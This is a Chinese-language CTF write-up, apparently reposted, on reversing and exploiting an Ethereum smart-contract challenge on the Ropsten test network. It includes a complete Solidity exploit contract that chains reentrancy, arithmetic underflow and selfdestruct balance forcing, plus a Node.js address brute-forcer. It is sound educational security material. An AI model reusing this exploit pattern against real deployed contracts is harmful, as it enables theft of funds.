内容简介:文章目录由于疫情学校还没开学,于是这几天一直在家里学(mo)习(yu)。前几天正好XCTF在办高校战“疫”,校内拉人打,所以就去打了一波。比赛两天,一天摸了一道题,总算也是有了点输出。第一天上来摸得Misc比较常规就不说了,主要来说一下第二天摸得区块链题吧。这是我第一次见到区块链合约的题目,此前完全不知道还有这种题目(是我不刷题,我自裁)。然后就花了一天时间从头学,把这题拿了下来。做题中遇到了很多坑,也积累了一些一般WP里没有提到的经验,所以我就自己写一篇文章来记录下这些细节。简单了解了下以太坊的知识后,就
文章目录 [隐藏]
由于疫情学校还没开学,于是这几天一直在家里学(mo)习(yu)。前几天正好XCTF在办高校战“疫”,校内拉人打,所以就去打了一波。比赛两天,一天摸了一道题,总算也是有了点输出。第一天上来摸得Misc比较常规就不说了,主要来说一下第二天摸得区块链题吧。这是我第一次见到区块链合约的题目,此前完全不知道还有这种题目(是我不刷题,我自裁)。然后就花了一天时间从头学,把这题拿了下来。做题中遇到了很多坑,也积累了一些一般WP里没有提到的经验,所以我就自己写一篇文章来记录下这些细节。
简单了解了下以太坊的知识后,就可以搜集相关的 工具 了。
- 以太坊区块信息(ropsten网络): https://ropsten.etherscan.io/
- 合约在线IDE: http://remix.ethereum.org/
- 钱包插件:MetaMask(Chrome插件)
- 以太坊Js客户端web3.js: https://github.com/ethereum/web3.js/
Remix的使用
简单操作可以查看: 实现CTF智能合约题目的环境部署
第一次使用需要在左侧Plugin Manager启用插件:Solidity compiler、Deploy & run transactions。
Web3.js的使用
可以直接在Remix页面打开调试工具,这样还可以使用MetaMask管理钱包,非常方便。
从现有交易分析
显然这道题需要对合约进行逆向,所以我简单参考了下这类题目的出题方法和writeup。比较关键的是这两篇: 实现CTF智能合约题目的环境部署 、 智能合约逆向心法34C3_CTF题分析(案例篇·一) 。可以看到,发送邮件是通过监听Event Log来实现的,而Event Log的信息实际上是公开的。因此可以在etherscan看到其他成功解题者的记录,所以一个很直接的想法就是分析别人的解题过程(躺
不过出题人不是傻子,解题人也不是傻子,除非是特别简单的题目,否则拿别人的code直接重放基本上是不可能成功。别人的解题过程只能提供思路,而且并不会包含所有的解题细节。以我自己最终的解题流程( https://ropsten.etherscan.io/tx/0x7df847f7… )为例,可以简单的看出分析现有流程能得到什么。
看交易信息可以看出,这个交易实际上是调用了合约 0x0fa9f3b59cd9dc6bb572a4e2d387e9d2aa508fff 的 getFlag(string b64email) 函数,遂查看该合约。从合约现有的交易(不计Reverted和创建合约共6个)可以大致整理出调用的顺序:
- payme
- buy
- change
- attack
- claim
- payforflag
然后关注合约间调用,会发现change执行后目标块连续回调了两次,attack执行后和目标块共有两次来回调用(每次转200wei),buy交易发送了1wei。能从交易记录分析出来的内容其实相当有限,但是合约间交易其实还是能说明一些问题的。之后如果想要获得进一步的信息,就需要对这个合约进行逆向分析了。
合约逆向
做人还是要有远大志向,不能老是靠蹲别人的合约过活,不仅浪费时间,而且说不定下次就能拿一血呢
。
保存合约
有很多种方法,不过最简单的就是把合约代码(etherscan的contract)复制到文件中。执行
cat contract.hex | xxd -r -ps > contract.bin
就能获得合约的二进制形式了。
- EVM操作码与在线逆向: https://ethervm.io/
- EVM函数签名数据库: https://www.4byte.directory/
- EVM操作码IDA插件: https://github.com/crytic/ida-evm
- Rattle: https://github.com/crytic/rattle
- Panoramix: https://eveem.org/
Ethervm
进入 https://ethervm.io/decompile/ 把合约地址丢进去,你就能得到反编译和反汇编两个结果了,并且还会直接找出所有公开方法。反汇编结果暂且不论,简单提一下反编译结果的阅读。它的逆向结果是尽可能还原solidity的,因此代码风格类似solidity。
main函数对应的就是合约代码最开始的函数识别逻辑,检查 msg.data[ 0x00 : 0x20 ] 的函数签名并处理fallback函数。之后Ethervm会把每个函数抽取为对应“Internal Methods”,main中只保留从 msg.data 获得参数的代码,之后调用对应函数。比如
if (var0 == 0x1e77933e) { // Dispatch table entry for change(address) var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x010c; var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff; change(var2); stop(); }
而且Ethervm不会尝试还原局部变量(包括编译生成的中间变量)和全局变量。所有出入栈都会被展开成类似这种形式:
var var0 = msg.sender; var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff; var var2 = 0x2f54bf6e; var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp1 = temp0 + 0x04; memory[temp1:temp1 + 0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff; var var3 = temp1 + 0x20; var var4 = 0x20; var var5 = memory[0x40:0x60]; var var6 = var3 - var5; var var7 = var5; var var8 = 0x00; var var9 = var1; var var10 = !address(var9).code.length;
并且也不会对storage信息(包括mapping)进行处理。基本上就是把字节码翻译为等价solidity代码。
ida-evm
IDA插件,用于disassemble并绘制flowt chart。需要先把合约转为二进制形式再进行读取,载入后可能需要手动C一下。
Rattle比ida-evm的效果好很多,而且不需要依赖诸如IDA的程序。Rattle会对字节码进行简化、调整格式,把代码转为SSA的形式,并进行一些优化。个人感觉读起来比ida-evm的结果要方便很多。
不过自带的函数hash表真的很小。而且有些函数会被留在_fallthrough里。而且最后的格式是图片,因此查看也多少有点麻烦,不过也已经非常适合用来分析了。
Panoramix
Panoramix是我用过的这几个工具里,逆向代码质量最好的。Panoramix的逆向结果是他们自己定义的pan,语法类似于Python。直接上一份题目代码的完整逆向结果:
# # Panoramix 4 Oct 2019 # Decompiled source of 0x40a590b70790930ceed4d148bF365eeA9e8b35F4 # # Let's make the world open source # const eth_balance = eth.balance(this.address) def storage: stor0 is addr at storage 0 stor1 is addr at storage 1 balanceOf is mapping of uint256 at storage 2 stor3 is mapping of uint8 at storage 3 unknown35983396 is mapping of uint256 at storage 4 def unknown35983396(addr _param1): # not payable return unknown35983396[_param1] def status(address _param1): # not payable return bool(stor3[_param1]) def balanceOf(address _owner): # not payable return balanceOf[_owner] def unknownb4de8673(addr _param1): # not payable return balanceOf[addr(_param1)] # # Regular functions # def _fallback() payable: # default function revert def unknown11f776bc(): # not payable require caller != tx.origin require caller % 4096 == 4095 if bool(stor3[caller]) == 1: stor3[caller] = 0 stor0 = caller def buy() payable: require caller != tx.origin require caller % 4096 == 4095 require not unknown35983396[caller] require not balanceOf[caller] require call.value == 1 balanceOf[caller] = 100 unknown35983396[caller] = 1 return 1 def unknown6bc344bc(array _param1): # not payable require caller == stor0 require unknown35983396[caller] >= 100 stor0 = stor1 unknown35983396[caller] = 0 call 0x4cfbdfe01daef460b925773754821e7461750923 with: value eth.balance(this.address) wei gas 2300 * is_zero(value) wei if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] log 0x296b9274: Array(len=_param1.length, data=_param1[all]) def change(address _toToken): # not payable require ext_code.size(caller) call caller.isOwner(address param1) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 if not ext_call.return_data[0]: require ext_code.size(caller) call caller.isOwner(address param1) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 stor3[caller] = uint8(bool(ext_call.return_data[0])) def transfer(address _to, uint256 _value): # not payable require _to require _value > 0 require balanceOf[caller] >= _value require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)] balanceOf[caller] -= _value balanceOf[addr(_to)] += _value require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)] return 1 def sell(uint256 _amount): # not payable require _amount >= 200 require unknown35983396[caller] > 0 require balanceOf[caller] >= _amount require eth.balance(this.address) >= _amount call caller with: value _amount wei gas gas_remaining wei require this.address require _amount > 0 require balanceOf[caller] >= _amount require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)] balanceOf[caller] -= _amount balanceOf[addr(this.address)] += _amount require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)] unknown35983396[caller]-- return 1
可以看到,Panoramix能识别出require、能处理局部变量、能识别storage布局、能识别fallback函数,甚至能识别出mapping。对着这个输出结果基本上直接就能看出合约的逻辑。而且更骚的是,Etherscan目前已经集成了Panoramix(直接点合约页面Contract下方的Decompile ByteCode就行)。不过官网我试了下似乎并不能读取mainnet之外其他的合约,而且如果你要识别现有程序,就需要自己clone代码进行修改了: https://github.com/eveem-org/panoramix 。
我推荐的patch是修改pano/loader.py的三处,一处是code_fetch函数(直接读取contract.hex):
def code_fetch(address, network='mainnet'): with open('contract.hex', 'r') as f: code = ''.join(f.readlines()) print(code) return code
另一处是load_binary函数,在while循环前加入一行 source = source.replace(‘\n’, ”) 。还有一处就是注释 import secret 。之后把合约hex数据存入contract.hex,然后调用程序传入合约地址就行。另外,逆向过程中还有可能产生一些工具函数的调用,可以参考官网的文档: https://eveem.org/tutorial/ 。
ethereum-graph-debugger
看着很香,但是还没试过,先咕着: https://github.com/fergarrui/ethereum-graph-debugger 。
题目分析
当时做题的时候我是直接阅读Ethervm的(读的还是很痛苦的,因为没搞懂Panoramix的输出格式),不过由于Panoramix的输出更友好,所以相关代码将会用Panoramix的逆向结果说明。
从题目来看,题目最终的目的是触发事件 event pikapika_SendFlag(string b64email) 。但是题目没有提供合约源码,因此本题需要对合约进行逆向。显然 payforflag(string) 和flag获得有关,而且方法逻辑中确实调用了log函数。
def unknown6bc344bc(array _param1): # not payable require caller == stor0 require unknown35983396[caller] >= 100 stor0 = stor1 unknown35983396[caller] = 0 call 0x4cfbdfe01daef460b925773754821e7461750923 with: value eth.balance(this.address) wei gas 2300 * is_zero(value) wei if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] log 0x296b9274: Array(len=_param1.length, data=_param1[all])
分析可以看出:
- 要求msg.sender == stor0
- 要求修改mapping unknown35983396 >= 100
之后会清除unknown35983396、修改stor0、将所有余额转至0x4cfbdfe01daef460b925773754821e7461750923、记录事件日志。寻找unknown35983396的使用,可以发现其修改共有两处(除了归零),一次位于sell(uint256)每次调用自减,另外就是buy()时设置为1。由于没有检查溢出,因此明显需要调用两次sell(uint256)。
def sell(uint256 _amount): # not payable require _amount >= 200 require unknown35983396[caller] > 0 require balanceOf[caller] >= _amount require eth.balance(this.address) >= _amount call caller with: value _amount wei gas gas_remaining wei require this.address require _amount > 0 require balanceOf[caller] >= _amount require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)] balanceOf[caller] -= _amount balanceOf[addr(this.address)] += _amount require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)] unknown35983396[caller]-- return 1
sell(uint256) 的参数是售卖的数量。观察限制条件发现,需要:
- _amount >= 200
- unknown35983396>0
- 代币余额 >= _amount
- 账户eth余额 >= _amount
之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改unknown35983396。要修改两次unknown35983396,显然需要重复调用 sell(uint256) ,并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用,这可以通过fallback函数来实现。
为了更改代币余额,查找相关函数,可以发现代币余额的调整发生在buy()函数。
def buy() payable: require caller != tx.origin require caller % 4096 == 4095 require not unknown35983396[caller] require not balanceOf[caller] require call.value == 1 balanceOf[caller] = 100 unknown35983396[caller] = 1 return 1
函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。
由于要调用两次 sell(uint256) ,而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额,由于合约只有 buy() 一个payable函数,所以如果用 buy() 转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。
另外关于stor0,可以看到在函数签名为0x11f776bc的函数中进行了修改。
def unknown11f776bc(): # not payable require caller != tx.origin require caller % 4096 == 4095 if bool(stor3[caller]) == 1: stor3[caller] = 0 stor0 = caller
这里还要求mapping stor3设为1。可以查找到,stor3的修改位于 change(address) 。
def change(address _toToken): # not payable require ext_code.size(caller) call caller.isOwner(address param1) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 if not ext_call.return_data[0]: require ext_code.size(caller) call caller.isOwner(address param1) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 stor3[caller] = uint8(bool(ext_call.return_data[0]))
这里两次调用了消息发送方的 isOwner(address) 函数,并且要求调用结果一次返回假、一次返回真。
漏洞利用
通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:
- 分别生成4个账户
- 分别创建漏洞利用合约,地址要满足条件
- 分别调用 buy() 传送1 wei
- 取其中三个合约,分别调用transfer(address,uint256),将其代币余额转至攻击用的合约
- 新建合约,向传送至少400 wei
- 在新建合约执行 selfdestruct(题目合约)
- 调用 sell(uint256) (fallback函数负责第二次调用)
- 调用 change(address)
- 调用 0x11f776bc
- 调用 payforflag(string) 得到flag
利用代码如下:
pragma solidity >=0.4.22 <0.7.0; contract Exp { address private me; address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4; bool private ownerAsk = false; bool private recall = false; constructor() public { me = msg.sender; } modifier check() { require(msg.sender == me, "Caller is not owner"); _; } event OwnerCheck(bytes data, address who, address check, bool ret, bool flag); function isOwner(address check) external view returns (bool) { emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk); if (check == me) { if (!ownerAsk) { ownerAsk = true; return false; } return true; } return false; } function payme() public payable {} function buy() public check { game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()"))); } function change() public check { game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me); } function transfer(address addr) public check { game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100)); } function attack() public check { game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200)); } event FallbackCalled(bytes data, address who); function () payable { emit FallbackCalled(msg.data, msg.sender); if (msg.sender == game && !recall) { recall = true; game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200)); } } function claim() public check { var sig = 0x11f776bc; game.call.gas(msg.gas)(bytes4(sig)); } function getFlag(string b64email) public check { game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email)); } function kill() public check { if (me == msg.sender) { selfdestruct(me); } } function trans() public check { if (me == msg.sender) { selfdestruct(game); } } function reset() public check { recall = false; ownerAsk = false; } function set(bool a, bool b) public check { recall = a; ownerAsk = b; } }
合约地址限制
题目要求合约地址末尾为0xfff。合约地址的计算实际上是rlp编码的[钱包地址, nonce(交易次数)]。根据钱包地址穷举nonce一般会得到一个很大的值(我自己试了几个在两三千左右),这么大的交易次数要想达到还是很麻烦的。因此可以设置nonce = 0,之后随机生成钱包账户检查是否符合。生成代码如下(node.js):
const rlp = require('rlp'); const keccak = require('keccak'); const Web3 = require('web3'); var CryptoJS = require('crypto-js'); var EC = require('elliptic').ec; var ec = new EC('secp256k1'); var nonce = 0x00; function make(sender, nonce) { var input_arr = [ sender, nonce ]; var rlp_encoded = rlp.encode(input_arr); var contract_address_long = keccak('keccak256').update(rlp_encoded).digest('hex'); var contract_address = contract_address_long.substring(24); // Trim the first 24 characters. return contract_address; } var private; function create() { var keyPair = ec.genKeyPair(); // Set the privKey private = keyPair.getPrivate(); // Derive the pubKey var compact = false; var pubKey = keyPair.getPublic(compact, 'hex').slice(2); // pubKey -> address var pubKeyWordArray = CryptoJS.enc.Hex.parse(pubKey); var hash = CryptoJS.SHA3(pubKeyWordArray, { outputLength: 256 }); var address = hash.toString(CryptoJS.enc.Hex).slice(24); return address; } while (true) { addr = create(); caddr = make('0x' + addr, nonce); if (caddr.slice(-3) == 'fff') { console.log(caddr); console.log(addr); console.log(private.toString(16)); break; } }
Gas是执行合约函数的工本费,收费标准和编译后形成的指令有关,这里注意的是Gas一定要给够。如果Gas不给够,那合约调用是不会产生效果的。
自定义交易内容
使用Remix的调试工具发送交易确实很简单,但是有时候还是需要自定义交易内容的。比如漏洞利用合约的payme(),需要设置value值确定转账数额。此时可以用web3.js自定义交易内容:
let obj = { to: "", // 目标地址 gas: 3000000, // gas值 value: 1, // value值,单位:wei data:"" // 交易数据 // 其余请自行查阅文档 }; web3.eth.sendTransaction(obj, (err, address) => { if (!err) console.log(address); });
检查mapping值
由于漏洞利用步骤复杂,很容易搞错小步骤导致后续利用失败,因此可以检查mapping的值来判断是否正确调用。mapping实际上也是存储在Storage中的,并且它位移的计算是: keccak256(调用方地址 + mapping位移) 。mapping位移就是Storage的偏移,Panoramix的输出中即at storage后面的数字。
使用web3.js可以查询到Storage的数据:
web3.eth.getStorageAt("合约地址", "偏移", function(x,y){console.log(x,y);})
防偷鸡措施
由于以太坊是完全透明公开的,所以你的漏洞利用合约和调用记录完全是公开透明的,因此要想防止别人分析你的解题合约还是有一定难度的。这里提供几个建议:
- 取复杂的函数名,最好保证签名数据库中没有记录
- 如果合约有多个步骤,多写几个合约
- 如果可以,用不同的账户创建多个合约进行利用
不过说实话,就算拿到了解题合约,如果题目出的足够好,那分析得到的结果也没有太大的用处。因此其实还要看题目的质量如何。
推荐阅读
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 区块链安全——以太坊智能合约静态分析
- 使用Java与区块链智能合约进行交互
- 区块链联盟链 PlatONE Wasm 合约开发深入详解
- 区块链研究实验室 | 使用JavaScript编译和部署以太坊智能合约
- 区块链是怎样将分布式组网机制、合约机制、共识机制等技术结合并应用
- Hyperledger Fabric 实践与分析,第 2 部分: Fabric 区块链智能合约 Chaincode 与客户端程序开发全...
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。